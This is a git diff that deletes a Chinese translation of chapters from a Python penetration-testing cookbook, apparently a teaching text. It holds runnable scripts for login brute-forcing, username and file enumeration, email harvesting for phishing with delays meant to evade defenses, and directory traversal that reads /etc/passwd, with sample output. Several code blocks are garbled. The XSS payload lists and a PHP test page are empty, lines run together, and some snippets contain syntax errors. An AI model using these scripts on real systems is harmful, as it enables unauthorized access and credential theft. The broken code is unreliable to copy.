'.png') - except: - pass - -def threader(q, port): - q.put(testAndSave(http, port)) - q.put(testAndSave(https, port)) - -q = Queue.Queue() - -for port in portList: - t = threading.Thread(target=threader, args=(q, port)) - t.deamon = True - t.start() - -s = q.get() -``` - -如果我们现在运行它,我们将得到更快的代码执行,因为 web 请求现在是并行执行的。 - -您可以尝试进一步扩展脚本,以处理一系列 IP 地址;这在测试内部网络范围时非常方便。 - -# 蜘蛛网 - -许多工具提供了绘制网站地图的能力,但通常您仅限于输出样式或提供结果的位置。这个用于爬行脚本的底板允许您在短时间内绘制出网站,并能够根据您的意愿对其进行更改。 - -## 准备好了吗 - -为了让这个脚本正常工作,您需要`BeautifulSoup`库,它可以通过`apt`命令与`apt-get install python-bs4`或`pip install beautifulsoup4`一起安装。就这么简单。 - -## 怎么做… - -这是我们将使用的脚本: - -``` -import urllib2 -from bs4 import BeautifulSoup -import sys -urls = [] -urls2 = [] - -tarurl = sys.argv[1] - -url = urllib2.urlopen(tarurl).read() -soup = BeautifulSoup(url) -for line in soup.find_all('a'): - newline = line.get('href') - try: - if newline[:4] == "http": - if tarurl in newline: - urls.append(str(newline)) - elif newline[:1] == "/": - combline = tarurl+newline urls.append(str(combline)) except: - pass - - for uurl in urls: - url = urllib2.urlopen(uurl).read() - soup = BeautifulSoup(url) - for line in soup.find_all('a'): - newline = line.get('href') - try: - if newline[:4] == "http": - if tarurl in newline: - urls2.append(str(newline)) - elif newline[:1] == "/": - combline = tarurl+newline - urls2.append(str(combline)) - except: - pass - urls3 = set(urls2) - for value in urls3: - print value -``` - -## 它是如何工作的… - -我们首先导入必要的库,并创建两个空列表,称为`urls`和`urls2`。这将使我们能够运行两次爬行过程。接下来,我们设置要添加的输入,作为从命令行运行的脚本的附录。它的运行方式如下: - -``` -$ python spider.py http://www.packtpub.com - -``` - -然后我们打开提供的`url`变量并将其传递给`beautifulsoup`工具: - -``` -url = urllib2.urlopen(tarurl).read() -soup = BeautifulSoup(url) -``` - -`beautifulsoup`工具将内容拆分为多个部分,只允许我们拉取想要的部分: - -``` -for line in soup.find_all('a'): -newline = line.get('href') -``` - -然后,我们提取 HTML 中标记为标记的所有内容,并获取标记中指定为`href`的元素。这允许我们获取页面中列出的所有 URL。 - -下一节将处理相对链接和绝对链接。如果链接是相对的,则以斜线开头,表示它是 web 服务器本地托管的页面。如果链接是绝对链接,则它包含包括域在内的完整地址。我们使用以下代码所做的是确保我们可以作为外部用户打开找到的所有链接,并将它们列为绝对链接: - -``` -if newline[:4] == "http": -if tarurl in newline: -urls.append(str(newline)) - elif newline[:1] == "/": -combline = tarurl+newline urls.append(str(combline)) -``` - -然后,我们通过迭代原始`url`列表中的每个元素,再次使用该页面中标识的`urls`列表重复该过程: - -``` -for uurl in urls: -``` - -除了参考列表和变量中的更改外,代码保持不变。 - -我们将两个列表合并,最后,为了便于输出,我们将`urls`列表的完整列表转换为一个集合。这将从列表中删除重复项,并允许我们整齐地输出它。我们遍历集合中的值并逐个输出它们。 - -## 还有更多… - -此工具可以与本模块前面和后面显示的任何功能相结合。它可以绑定到*使用 QtWeb 工具包*获取网站截图,从而允许您获取每个页面的截图。您可以将其绑定到[第 2 章](19.html "Chapter 2. Enumeration")、*枚举*中的电子邮件地址查找器,以从每个页面获取电子邮件地址,或者您也可以使用此简单技术来映射网页。 - -脚本可以很容易地更改为添加深度级别,从当前的 2 个链接深度级别更改为系统参数设置的任何值。可以将输出更改为在每个页面上添加 URL,或将其转换为 CSV,以允许您将漏洞映射到页面以便于标记。 \ No newline at end of file diff --git a/trans/py-pentest-dev/19.md b/trans/py-pentest-dev/19.md deleted file mode 100644 index 7203a35..0000000 --- a/trans/py-pentest-dev/19.md +++ /dev/null @@ -1,865 +0,0 @@ -# 第二章列举 - -在本章中,我们将介绍以下主题: - -* 使用 Scapy 执行 ping 扫描 -* Scapy 扫描 -* 检查用户名有效性 -* 强制使用用户名 -* 枚举文件 -* 强制密码 -* 从名称生成电子邮件地址 -* 从网页中查找电子邮件地址 -* 在源代码中查找注释 - -# 导言 - -确定测试目标后,您将需要执行一些枚举。这将帮助您确定一些可能的路径,以便进行进一步的侦察或攻击。这是重要的一步。毕竟,如果你想从保险箱里偷东西,你首先要看一看你是否需要一个别针、钥匙或密码,而不是简单地装上一根炸药棒,并可能毁掉里面的东西。 - -在本章中,我们将介绍一些使用 Python 执行活动枚举的方法。 - -# 与 Scapy 进行平扫 - -确定目标网络后,首先要执行的任务之一是检查哪些主机处于活动状态。实现这一点的一个简单方法是 ping 一个 IP 地址并确认是否收到回复。但是,为多个主机执行此操作可能很快成为一项耗竭的任务。本食谱旨在向您展示如何使用 Scapy 实现这一点。 - -Scapy 是一个功能强大的工具,可以用来处理网络数据包。虽然我们不会深入讨论 Scapy 可以实现的所有功能,但我们将在本配方中使用它来确定哪些主机回复**互联网控制消息协议**(**ICMP**数据包。虽然您可能可以创建一个简单的 bash 脚本,并将其与一些 grep 过滤结合在一起,但本食谱旨在向您展示一些技术,这些技术对于涉及迭代 IP 范围的任务非常有用,同时也是 Scapy 基本用法的一个示例。 - -Scapy 可以通过以下命令安装在大多数 Linux 系统上: - -``` -$ sudo apt-get install python-scapy - -``` - -## 怎么做… - -以下脚本显示了如何使用 Scapy 创建 ICMP 数据包,以便在收到响应时发送和处理响应: - -``` -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -import sys -from scapy.all import * - -if len(sys.argv) !=3: - print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0]) - sys.exit(0) - -livehosts=[] -#IP address validation -ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$") - -if (ipregex.match(sys.argv[1]) is None): - print "Starting IP address is invalid" - sys.exit(0) -if (ipregex.match(sys.argv[1]) is None): - print "End IP address is invalid" - sys.exit(0) - -iplist1 = sys.argv[1].split(".") -iplist2 = sys.argv[2].split(".") - -if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2]) - print "IP addresses are not in the same class C subnet" - sys.exit(0) - -if iplist1[3]>iplist2[3]: - print "Starting IP address is greater than ending IP address" - sys.exit(0) - -networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"." - -start_ip_last_octet = int(iplist1[3]) -end_ip_last_octet = int(iplist2[3]) - -if iplist1[3]0: - print "Hosts found:\n" - for host in livehosts: - print host+"\n" -else: - print "No live hosts found\n" -``` - -## 它是如何工作的… - -脚本的第一个部分将在运行时设置对来自 Scapy 的警告消息的抑制。在未配置 IPv6 的计算机上导入 Scapy 时,通常会出现一条关于无法通过 IPv6 路由的警告消息。 - -``` -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -``` - -下一节将导入必要的模块,验证收到的参数数量,并设置一个列表,用于存储发现处于活动状态的主机: - -``` -import sys -from scapy.all import * - -if len(sys.argv) !=3: - print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0]) - sys.exit(0) - -livehosts=[] -``` - -然后我们编译一个正则表达式来检查 IP 地址是否有效。这不仅检查字符串的格式,还检查它是否存在于 IPv4 地址空间中。然后使用此编译的正则表达式与提供的参数进行匹配: - -``` -#IP address validation -ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$") - -if (ipregex.match(sys.argv[1]) is None): - print "Starting IP address is invalid" - sys.exit(0) -if (ipregex.match(sys.argv[1]) is None): - print "End IP address is invalid" - sys.exit(0) -``` - -验证 IP 地址后,将进行进一步检查,以确保提供的范围为有效范围,并分配用于设置循环参数的变量: - -``` -iplist1 = sys.argv[1].split(".") -iplist2 = sys.argv[2].split(".") - -if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2]) - print "IP addresses are not in the same class C subnet" - sys.exit(0) - -if iplist1[3]>iplist2[3]: - print "Starting IP address is greater than ending IP address" - sys.exit(0) - -networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"." - -start_ip_last_octet = int(iplist1[3]) -end_ip_last_octet = int(iplist2[3]) -``` - -脚本的下一部分纯粹是信息性的,可以省略。它将打印要 ping 的 IP 地址范围,或者在提供的两个参数相等的情况下,打印要 ping 的 IP 地址: - -``` -if iplist1[3]=0): - foundusers.append(user) - request.close() -userlist.close() - -if len(foundusers)>0: - print "Found Users:\n" - for name in foundusers: - print name+"\n" -else: - print "No users found\n" -``` - -以下是此脚本的输出示例: - -``` -python bruteusernames.py userlist.txt -Found Users: -admin -angela -bob -john - -``` - -## 它是如何工作的… - -这个脚本引入了比基本用户名检查更多的概念。第一个是打开文件以加载我们的列表: - -``` -userlist = open(filename,'r') -``` - -这将打开包含用户名列表的文件,并将其加载到`userlist`变量中。然后我们循环浏览列表中的用户列表。在此配方中,我们还使用了以下代码行: - -``` -user=user.strip() -``` - -此命令去除空白,包括换行符,这有时会在提交前更改编码结果。 - -如果用户名存在,则会将其附加到列表中。选中所有用户名后,将输出列表的内容。 - -## 另见 - -对于单个用户名,您需要使用*基本用户名检查*方法。 - -# 枚举文件 - -当枚举 web 应用程序时,您需要确定存在哪些页面。通常使用的一种常见做法称为爬行。爬行的工作原理是:访问一个网站,然后跟踪该页面中的每个链接以及该网站中的任何后续页面。但是,对于某些站点(如 Wiki),如果链接在访问时执行编辑或删除功能,则此方法可能会导致删除数据。这个方法将取而代之的是一个常见的网页文件名列表,并检查它们是否存在。 - -## 准备好了吗 - -对于这个配方,您需要创建一个常见页面名称列表。渗透测试发行版(如 Kali Linux)将提供各种暴力工具的单词列表,这些工具可以用来代替生成您自己的。 - -## 怎么做… - -以下脚本将获取可能的文件名列表,并测试网页是否存在于网站中: - -``` -#bruteforce file names -import sys -import urllib2 - -if len(sys.argv) !=4: - print "usage: %s url wordlist fileextension\n" % (sys.argv[0]) - sys.exit(0) - -base_url = str(sys.argv[1]) -wordlist= str(sys.argv[2]) -extension=str(sys.argv[3]) -filelist = open(wordlist,'r') -foundfiles = [] - -for file in filelist: - file=file.strip("\n") - extension=extension.rstrip() - url=base_url+file+"."+str(extension.strip(".")) - try: - request = urllib2.urlopen(url) - if(request.getcode()==200): - foundfiles.append(file+"."+extension.strip(".")) - request.close() - except urllib2.HTTPError, e: - pass - -if len(foundfiles)>0: - print "The following files exist:\n" - for filename in foundfiles: - print filename+"\n" -else: - print "No files found\n" -``` - -下面的输出显示了使用常见网页列表运行**该死的易受攻击的 Web App**(**DVWA**)时可能返回的内容: - -``` -python filebrute.py http://192.168.68.137/dvwa/ filelist.txt .php -The following files exist: - -index.php - -about.php - -login.php - -security.php - -logout.php - -setup.php - -instructions.php - -phpinfo.php - -``` - -## 它是如何工作的… - -导入必要的模块并验证参数数量后,将以只读模式打开要检查的文件名列表,该列表由文件的`open`操作中的`r`参数指示: - -``` -filelist = open(wordlist,'r') -``` - -当脚本进入文件名列表的循环时,将从文件名中删除任何换行符,因为这将在检查文件名是否存在时影响 URL 的创建。如果提供的扩展中存在前面的`.`,则该扩展也会被剥离。这允许使用包含或不包含前面的`.`的扩展,例如`.php`或`php`: - -``` - file=file.strip("\n") - extension=extension.rstrip() - url=base_url+file+"."+str(extension.strip(".")) -``` - -然后,脚本的主要操作通过检查`HTTP 200`代码来检查具有给定文件名的网页是否存在,并捕获不存在的网页给出的任何错误: - -``` - try: - request = urllib2.urlopen(url) - if(request.getcode()==200): - foundfiles.append(file+"."+extension.strip(".")) - request.close() - except urllib2.HTTPError, e: - pass -``` - -# 暴力强制密码 - -暴力强迫可能不是最优雅的解决方案,但它将自动化可能是一项平凡的任务。通过使用自动化,您可以更快地完成任务,或者至少让自己在同一时间从事其他工作。 - -## 准备好了吗 - -要使用此配方,您需要一个要测试的用户名列表和密码列表。虽然这不是暴力强制的真正定义,但它将减少您将要测试的组合数。 - -### 注 - -如果您没有可用的密码列表,那么在线上有很多可用的密码,例如 GitHub 上最常见的 10000 个密码,位于[https://github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt](https://github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt) 。 - -## 怎么做… - -以下代码显示了如何实现此配方的示例: - -``` -#brute force passwords -import sys -import urllib -import urllib2 - -if len(sys.argv) !=3: - print "usage: %s userlist passwordlist" % (sys.argv[0]) - sys.exit(0) - -filename1=str(sys.argv[1]) -filename2=str(sys.argv[2]) -userlist = open(filename1,'r') -passwordlist = open(filename2,'r') -url = "http://www.vulnerablesite.com/login.html" -foundusers = [] -FailStr="Incorrect User or Password" - -for user in userlist: - for password in passwordlist: - data = urllib.urlencode({"username="user&"password="password}) - request = urllib2.urlopen(url,data) - response = request.read() - if(response.find(FailStr)<0) - foundcreds.append(user+":"+password) - request.close() - -if len(foundcreds)>0: - print "Found User and Password combinations:\n" - for name in foundcreds: - print name+"\n" -else: - print "No users found\n" -``` - -以下显示了脚本运行时产生的输出示例: - -``` -python bruteforcepasswords.py userlists.txt passwordlist.txt - -Found User and Password combinations: - -root:toor - -angela:trustno1 - -bob:password123 - -john:qwerty - -``` - -## 它是如何工作的… - -初始导入必要的模块并检查系统参数后,我们设置密码检查: - -``` -filename1=str(sys.argv[1]) -filename2=str(sys.argv[2]) -userlist = open(filename1,'r') -passwordlist = open(filename2,'r') -``` - -文件名参数存储在变量中,然后打开变量。`r`变量表示我们以只读方式打开这些文件。 - -我们还指定目标并初始化数组以存储找到的任何有效凭据: - -``` -url = "http://www.vulnerablesite.com/login.html" -foundusers = [] -FailStr="Incorrect User or Password" -``` - -前面代码中的`FailStr`变量只是为了让我们的生活更轻松,它使用了一个简短的变量名来键入,而不是键入整个字符串。 - -此配方的主要步骤是在一个嵌套循环中执行我们的自动密码检查: - -``` -for user in userlist: - for password in passwordlist: - data = urllib.urlencode({"username="user&"password="password }) - request = urllib2.urlopen(url,data) - response = request.read() - if(response.find(FailStr)<0) - foundcreds.append(user+":"+password) - request.close() -``` - -在这个循环中,发送一个请求,包括用户名和密码作为参数。如果响应不包含表示用户名和密码组合无效的字符串,那么我们知道我们有一组有效的凭据。然后,我们将这些凭据添加到前面创建的数组中。 - -在尝试了所有的用户名和密码组合后,我们将检查数组是否有凭据。如果是这样,我们就打印凭证。如果没有,我们会打印一条悲伤的消息,通知我们没有发现任何东西: - -``` -if len(foundcreds)>0: - print "Found User and Password combinations:\n" - for name in foundcreds: - print name+"\n" -else: - print "No users found\n" -``` - -## 另见 - -如果你想找到用户名,你可能还想利用*检查用户名有效性*和*强制使用用户名*的方法。 - -# 根据姓名生成电子邮件地址 - -在某些场景中,您可能有目标公司的员工列表,并且希望生成电子邮件地址列表。电子邮件地址可能很有用。您可能希望使用它们执行网络钓鱼攻击,或者您可能希望使用它们尝试登录到公司的应用程序,例如包含敏感内部文档的电子邮件或公司门户。 - -## 准备好了吗 - -在使用此配方之前,您需要有一个要使用的名称列表。如果你没有名字列表,你可能要考虑首先对你的目标执行一个开源情报练习。 - -## 怎么做… - -以下代码将获取包含姓名列表的文件,并生成不同格式的电子邮件地址列表: - -``` -import sys - -if len(sys.argv) !=3: - print "usage: %s name.txt email suffix" % (sys.argv[0]) - sys.exit(0) -for line in open(sys.argv[1]): - name = ''.join([c for c in line if c == " " or c.isalpha()]) - tokens = name.lower().split() - fname = tokens[0] - lname = tokens[-1] - print fname+lname+sys.argv[2] - print lname+fname+sys.argv[2] - print fname+"."+lname+sys.argv[2] - print lname+"."+fname+sys.argv[2] - print lname+fname[0]+sys.argv[2] - print fname+lname+fname+sys.argv[2] - print fname[0]+lname+sys.argv[2] - print fname[0]+"."+lname+sys.argv[2] - print lname[0]+"."+fname+sys.argv[2] - print fname+sys.argv[2] - print lname+sys.argv[2] -``` - -## 它是如何工作的… - -这个方法的主要机制是使用字符串连接。通过将名字或首字母与姓氏以不同的组合与电子邮件后缀连接起来,您就有了一个潜在电子邮件地址列表,可以在以后的测试中使用。 - -## 还有更多… - -特色食谱展示了如何使用姓名列表生成电子邮件地址列表。但是,并非所有电子邮件地址都有效。您可以通过在公司的应用程序中使用枚举技术进一步缩小此列表的范围,该技术可能会揭示电子邮件地址是否存在。您还可以执行进一步的开源情报调查,这可能使您能够确定目标组织电子邮件地址的正确格式。如果您成功地实现了这一点,那么您可以从配方中删除任何不必要的格式,以生成更简洁的电子邮件地址列表,从而在以后为您提供更大的价值。 - -## 另见 - -一旦您获得了电子邮件地址,您可能希望将其作为*检查用户名有效性*方法的一部分。 - -# 从网页中查找电子邮件地址 - -您可能会发现目标组织的网页上会有一些电子邮件列表,而不是生成您自己的电子邮件列表。这可能证明比您自己生成的电子邮件地址具有更高的价值,因为目标组织网站上的电子邮件地址有效的可能性将远远高于您尝试猜测的电子邮件地址。 - -## 准备好了吗 - -对于这个配方,您需要一个要解析电子邮件地址的页面列表。您可能希望访问目标组织的网站并搜索站点地图。然后,可以解析站点地图,查找指向网站中存在的页面的链接。 - -## 怎么做… - -以下代码将解析 URL 列表中与电子邮件地址格式匹配的文本实例的响应,并将其保存到文件中: - -``` -import urllib2 -import re -import time -from random import randint -regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'" - "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|" - "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)")) - -tarurl = open("urls.txt", "r") -for line in tarurl: - output = open("emails.txt", "a") - time.sleep(randint(10, 100)) - try: - url = urllib2.urlopen(line).read() - output.write(line) - emails = re.findall(regex, url) - for email in emails: - output.write(email[0]+"\r\n") - print email[0] - except: - pass - print "error" - output.close() -``` - -## 它是如何工作的… - -导入必要的模块后,您将看到`regex`变量的赋值: - -``` -regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'" - "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|" - "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)")) -``` - -这会尝试匹配电子邮件地址格式,例如`victim@target.com`或目标网站上的受害者。然后,代码打开一个包含 URL 的文件: - -``` -tarurl = open("urls.txt", "r") -``` - -您可能会注意到参数 `r`的使用。这将以只读模式打开文件。然后,代码在 URL 列表中循环。在循环中,打开一个文件以将电子邮件地址保存到: - -``` -output = open("emails.txt", "a") -``` - -这次使用了`a`参数。这表示将追加对此文件的任何输入,而不是覆盖整个文件。该脚本使用睡眠计时器,以避免触发目标为防止攻击而采取的任何保护措施: - -``` -time.sleep(randint(10, 100)) -``` - -此计时器将在`10`和`100`秒之间的任意时间内暂停脚本。 - -在使用`urlopen()`方法时,使用异常处理是至关重要的。如果来自`urlopen()`的响应为`404 (HTTP not found error)`,则脚本将出错并退出。 - -如果有有效的响应,脚本将把所有电子邮件地址实例存储在`emails`变量中: - -``` -emails = re.findall(regex, url) -``` - -然后循环通过`emails`变量,将列表中的每一项写入`emails.txt`文件,并输出到控制台进行确认: - -``` - for email in emails: - output.write(email[0]+"\r\n") - print email[0] -``` - -## 还有更多… - -此配方中使用的常规表达式匹配匹配两种常见的格式,用于表示 Internet 上的电子邮件地址。在您的学习和调查过程中,您可能会遇到您可能希望包含在匹配中的其他格式。有关 Python 中正则表达式的更多信息,您可能需要阅读 Python 网站上的文档,获取位于[的正则表达式 https://docs.python.org/2/library/re.html](https://docs.python.org/2/library/re.html) 。 - -## 另见 - -有关更多信息,请参阅*从名称*生成电子邮件地址的方法。 - -# 在源代码中查找注释 - -一个常见的安全问题是由良好的编程实践引起的。在 web 应用程序的开发阶段,开发人员将对其代码进行注释。这在这一阶段非常有用,因为它有助于理解代码,并且由于各种原因将作为有用的提醒。但是,当 web 应用程序准备在生产环境中部署时,最好删除所有这些注释,因为它们可能对攻击者有用。 - -此配方将使用`Requests`和`BeautifulSoup`的组合来搜索 URL 以获取评论,同时搜索页面上的链接并搜索后续 URL 以获取评论。跟踪页面链接并分析这些 URL 的技术称为 spidering。 - -## 怎么做… - -下面的脚本将在源代码中为注释和链接刮取 URL。然后,它还将执行有限的爬网和搜索链接 URL 以查找注释: - -``` -import requests -import re - -from bs4 import BeautifulSoup -import sys - -if len(sys.argv) !=2: - print "usage: %s targeturl" % (sys.argv[0]) - sys.exit(0) - -urls = [] - -tarurl = sys.argv[1] -url = requests.get(tarurl) -comments = re.findall('',url.text) -print "Comments on page: "+tarurl -for comment in comments: - print comment - -soup = BeautifulSoup(url.text) -for line in soup.find_all('a'): - newline = line.get('href') - try: - if newline[:4] == "http": - if tarurl in newline: - urls.append(str(newline)) - elif newline[:1] == "/": - combline = tarurl+newline - urls.append(str(combline)) - except: - pass - print "failed" -for uurl in urls: - print "Comments on page: "+uurl - url = requests.get(uurl) - comments = re.findall('',url.text) - for comment in comments: - print comment -``` - -## 它是如何工作的… - -在初始导入必要的模块并设置变量后,脚本首先获取目标 URL 的源代码。 - -您可能已经注意到,对于`Beautifulsoup`,我们有以下行: - -``` -from bs4 import BeautifulSoup -``` - -因此,当我们使用`BeautifulSoup`时,我们只需键入`BeautifulSoup`而不是`bs4.BeautifulSoup`。 - -然后,它搜索 HTML 注释的所有实例并将其打印出来: - -``` -url = requests.get(tarurl) -comments = re.findall('',url.text) -print "Comments on page: "+tarurl -for comment in comments: - print comment -``` - -然后,脚本将使用`Beautifulsoup`来刮取绝对(从`http`开始)和相对(从`/`开始)链接的任何实例的源代码: - -``` -if newline[:4] == "http": - if tarurl in newline: - urls.append(str(newline)) - elif newline[:1] == "/": - combline = tarurl+newline - urls.append(str(combline)) -``` - -一旦脚本整理了链接到页面的 URL 列表,它就会在每个页面上搜索 HTML 注释。 - -## 还有更多… - -这个食谱展示了一个基本的注释刮取和爬虫的例子。这是可能的,以增加更多的智慧,这个食谱,以满足您的需要。例如,您可能希望说明使用以`.`或`..`开头表示当前目录和父目录的相对链接。 - -您还可以向爬行部分添加更多控件。您可以从提供的目标 URL 中提取域,并创建一个过滤器,该过滤器不会刮取目标外部域的链接。这对于需要遵守目标范围的专业活动尤其有用。 \ No newline at end of file diff --git a/trans/py-pentest-dev/20.md b/trans/py-pentest-dev/20.md deleted file mode 100644 index 2ed0df4..0000000 --- a/trans/py-pentest-dev/20.md +++ /dev/null @@ -1,943 +0,0 @@ -# 第三章漏洞识别 - -在本章中,我们将介绍以下主题: - -* 基于 URL 的自动目录遍历 -* 自动跨站点脚本(参数和 URL) -* 自动基于参数的跨站点脚本 -* 自动模糊 -* jQuery 检查 -* 基于头的跨站点脚本 -* 壳震检查 - -# 导言 - -本章重点从前 10 名**开放式 web 应用程序安全项目**(**OWASP**中识别传统 web 应用程序漏洞。这将包括**跨站点脚本编制**(**XSS**)、目录遍历,以及其他简单到可以检查的漏洞,这些漏洞不足以保证它们自己的章节。本章提供了每个脚本的基于参数和基于 URL 的版本,以考虑可能发生的情况并降低单个脚本的复杂性。这些工具中的大多数都有精心设计的备选方案,例如 Burp 入侵者。在简化的 Python 中查看每个工具的好处是,它允许您了解如何构建和制作自己的版本。 - -# 基于 URL 的自动目录遍历 - -偶尔,网站使用不受限制的功能调用文件;这可以允许传说中的目录遍历或**直接对象引用**(**DOR**)。在此攻击中,用户可以使用易受攻击的参数调用网站上下文中的任意文件。这有两种操作方式:首先,通过提供一个绝对链接,如`/etc/passwd`,它表示从`root`目录浏览到`etc`目录并打开`passwd`文件;其次,向上移动目录以到达`root`目录并移动到预期文件的相对链接。 - -我们将创建一个脚本,试图打开 Linux 机器上始终存在的文件,即前面提到的`/etc/passwd`文件,方法是将 up 目录的数量逐渐增加到 URL 中的一个参数。它将通过检测表示文件已打开的词组 root 来识别它何时成功。 - -## 准备好了吗 - -标识要测试的 URL 参数。此脚本已配置为适用于大多数设备:`etc/passwd`应适用于 OSX 和 Linux 安装,`boot.ini`应适用于 Windows 安装。请参阅本例末尾的 PHP 网页,该网页可用于测试脚本的有效性。 - -我们将使用可通过`pip`安装的请求库。在作者看来,它在功能性和可用性方面都优于`urllib`。 - -## 怎么做… - -确定要攻击的参数后,将其作为命令行参数传递给脚本。您的脚本应与以下脚本相同: - -``` -import requests -import sys -url = sys.argv[1] -payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'} -up = "../" -i = 0 -for payload, string in payloads.iteritems(): - for i in xrange(7): - req = requests.post(url+(i*up)+payload) - if string in req.text: - print "Parameter vulnerable\r\n" - print "Attack string: "+(i*up)+payload+"\r\n" - print req.text - break -``` - -以下是使用此脚本时生成的输出示例: - -``` -Parameter vulnerable - -Attack string: ../../../../../etc/passwd - -Get me /etc/passwd! File Contents:root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin -sys:x:3:3:sys:/dev:/usr/sbin/nologin -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/usr/sbin/nologin -``` - -## 它是如何工作的… - -我们导入此脚本所需的库,就像我们在模块中完成的所有其他脚本一样: - -``` -url = sys.argv[1] -``` - -然后,我们以 URL 的形式进行输入。当我们使用`requests`库时,我们应该确保我们的 URL 与表单请求所期望的匹配,即`http(s)://url`。如果您出错,请求将提醒您: - -``` -payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'} -``` - -我们在字典中建立每次攻击中要发送的有效负载。每对中的第一个值是我们希望尝试加载的文件,第二个值肯定位于该文件中。第二个值越具体,出现的误报越少;然而,这可能会增加假阴性的机会。请随意在此处包含您自己的文件: - -``` -up = "../" -i = 0 -``` - -我们提供 up 目录快捷方式`../`并将其分配给 up 变量,我们将循环计数器设置为`0`: - -``` -for payload, string in payloads.iteritems(): - while i < 7: -``` - -`Iteritems`方法允许我们遍历字典,获取每个键和值,并将它们分配给变量。我们将第一个值指定为有效负载,将第二个值指定为字符串。然后,我们对循环设置上限,以防止它在发生故障时永远重复。我已将其设置为`7`,但您可以将其设置为任何值。请记住,web 应用程序的目录结构可能高于`7`: - -``` -req = requests.post(url+(i*up)+payload) -``` - -我们通过获取根 URL 并根据循环和负载添加当前数量的 up 目录来设计请求。然后在 post 请求中发送: - -``` -if string in req.text: - print "Parameter vulnerable\r\n" - print "Attack string: "+(i*up)+payload+"\r\n" - print req.text - break -``` - -我们通过在响应中查找预期字符串来检查是否达到了目标。如果字符串存在,我们停止循环并打印出攻击字符串以及对成功攻击的响应。这允许我们手动验证攻击是否成功,代码是否需要重构,或者 web 应用程序是否不易受攻击: - -``` - i = i+1 - i = 0 -``` - -最后,计数器被添加到每个循环中,直到达到预设的最大值。一旦达到最大值,下一个攻击字符串将设置为零。 - -## 还有更多 - -通过应用本模块其他部分所示的原理,可以调整该配方,以使用参数。但是,由于通过参数调用的页面很少,而且有意简洁,因此未提供此功能。 - -如前所述,可以通过添加其他文件及其常见字符串来扩展此功能。一旦建立了遍历目录的能力和到达根目录所需的深度,它还可以扩展到抓取所有感兴趣的文件。 - -下面是一个 PHP 网页,允许您在自己的构建中测试此脚本。只要把它放在你的`var/www`目录或任何你使用的解决方案中。请勿在未知网络上保持此活动状态: - -``` - -``` - -# 基于 URL 的自动跨站点脚本 - -反映跨站点脚本通常通过基于 URL 的参数进行。你应该知道什么是跨站点脚本,如果你不知道,我为你感到尴尬。来真的我必须解释一下吗?可以跨站点脚本是将 JavaScript 注入页面。这是黑客 101,也是大多数人遇到或听到的第一次攻击。阻止跨站点脚本的低效方法主要集中在目标脚本标记上,由于脚本标记不是在页面中使用 JavaScript 所必需的,因此有很多方法可以解决这一问题。 - -我们将创建一个脚本,该脚本采用各种标准规避技术,并使用`Requests`库将其应用于自动提交。我们将知道脚本是否成功,因为脚本或其早期版本将出现在提交后的页面上。 - -## 怎么做… - -我们将使用的脚本如下所示: - -``` -import requests -import sys -url = sys.argv[1] -payloads = ['', ''] -for payload in payloads: - req = requests.post(url+payload) - if payload in req.text: - print "Parameter vulnerable\r\n" - print "Attack string: "+payload - print req.text - break -``` - -以下是使用此脚本时生成的输出示例: - -``` -Parameter vulnerable - -Attack string: - -Give me XSS: - -``` - -## 它是如何工作的… - -此脚本类似于早期的目录遍历脚本。这一次,我们创建了一个有效负载列表,而不是一个字典,因为检查字符串和有效负载是相同的: - -``` -payloads = ['', ''] -``` - -然后,我们使用与之前类似的循环遍历这些值,并逐一提交: - -``` -for payload in payloads: - req = requests.post(url+payload) -``` - -每个有效负载都会附加到 URL 的末尾,并以一个未加编码的参数发送,如`127.0.0.1/xss/xss.php?comment=`。有效负载将添加到该字符串的末尾,以便生成有效语句。然后检查该字符串是否出现在下一页中: - -``` -if payload in req.text: - print "Parameter vulnerable\r\n" - print "Attack string: "+payload - print req.text - break -``` - -跨站点脚本非常简单,而且非常容易自动化和检测,因为攻击字符串通常与结果相同。目录遍历或 SQLi 的困难在于结果并不总是可预测的,我们将在后面遇到。如果成功的跨站点脚本攻击,则会发生。 - -## 还有更多… - -可以通过提供更多的攻击字符串来扩展此攻击。在 Mozilla FuzzDB 